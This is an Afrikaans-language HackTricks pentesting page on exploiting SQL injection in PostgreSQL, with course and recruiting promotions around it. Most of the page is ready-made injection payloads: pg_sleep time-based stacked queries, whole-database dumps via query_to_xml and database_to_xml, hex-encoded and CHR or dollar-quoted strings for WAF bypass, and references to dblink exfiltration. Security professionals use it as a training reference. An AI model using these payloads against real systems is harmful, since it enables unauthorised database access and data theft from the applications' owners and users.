hacktricks/pentesting-web/sql-injection/postgresql-injection/README.md

7.4 KiB

PostgreSQL inspuiting

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

As jy belangstel in 'n hakloopbaan en die onhackbare wil hack - ons is aan die aanstel! (vloeiende Pools geskrewe en gesproke vereis).

{% embed url="https://www.stmcyber.com/careers" %}


Hierdie bladsy het ten doel om verskillende truuks te verduidelik wat jou kan help om 'n SQL-inspuiting wat in 'n postgresql-databasis gevind is, te benut en om die truuks aan te vul wat jy op https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md kan vind

Netwerkinteraksie - Voorregskaping, Poortskandering, NTLM-uitdagingresponsblootstelling & Uitvoer

Die PostgreSQL-module dblink bied die vermoë om na ander PostgreSQL-instansies te koppel en TCP-verbindings uit te voer. Hierdie funksies, gekombineer met die COPY FROM-funksionaliteit, maak aksies soos voorregskaping, poortskandering en NTLM-uitdagingresponsvangs moontlik. Vir gedetailleerde metodes om hierdie aanvalle uit te voer, kyk na hoe om hierdie aanvalle uit te voer.

Jy kan hierdie voorbeeld lees om 'n CTF-voorbeeld te sien van hoe om data binne groot voorwerpe te laai en dan die inhoud van groot voorwerpe binne die gebruikersnaam van die funksie dblink_connect te eksfiltreer.

PostgreSQL-aanvalle: Lees/skryf, RCE, voorregskaping

Kyk hoe om die gasheer te kompromitteer en voorregte vanaf PostgreSQL te eskaleer in:

{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}

WAF-omleiding

PostgreSQL-stringfunksies

Die manipulasie van strings kan jou help om WAF's of ander beperkings te omseil.
Op hierdie bladsy kan jy 'n paar nuttige stringfunksies vind.

Gestapelde navrae

Onthou dat postgresql gestapelde navrae ondersteun, maar verskeie toepassings sal 'n fout gooi as 2 antwoorde teruggegee word wanneer slegs 1 verwag word. Maar, jy kan steeds die gestapelde navrae misbruik via Tydinspuiting:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML truuks

query_to_xml

Hierdie funksie sal alle data in XML-formaat in net een lêer teruggee. Dit is ideaal as jy baie data in net 1 ry wil aflaai:

SELECT query_to_xml('select * from pg_user',true,true,'');

databasis_naar_xml

Hierdie funksie sal die hele databasis in XML-formaat dump in net 1 ry (wees versigtig as die databasis baie groot is, omdat jy dit kan DoS of selfs jou eie klient kan laat vasloop):

SELECT database_to_xml(true,true,'');

Strings in Hex

Indien jy navrae kan hardloop deur hulle binne 'n string te stuur (byvoorbeeld deur die query_to_xml funksie te gebruik). Jy kan die convert_from gebruik om die string as heks te stuur en sodoende filters te omseil:

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

{% endcode %}

Verbode aanhalingstekens

As jy nie aanhalingstekens kan gebruik vir jou payload nie, kan jy dit omseil met CHR vir basiese klousules (karakterkonkatenasie werk slegs vir basiese navrae soos SELECT, INSERT, DELETE, ens. Dit werk nie vir alle SQL-stellings nie):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Of met $. Hierdie navrae lewer dieselfde resultate op:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

Indien jy belangstel in hackingsloopbaan en die onhackbare wil hack - ons is aan die werf! (vloeiende Pools skryf- en spreekvaardigheid vereis).

{% embed url="https://www.stmcyber.com/careers" %}

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: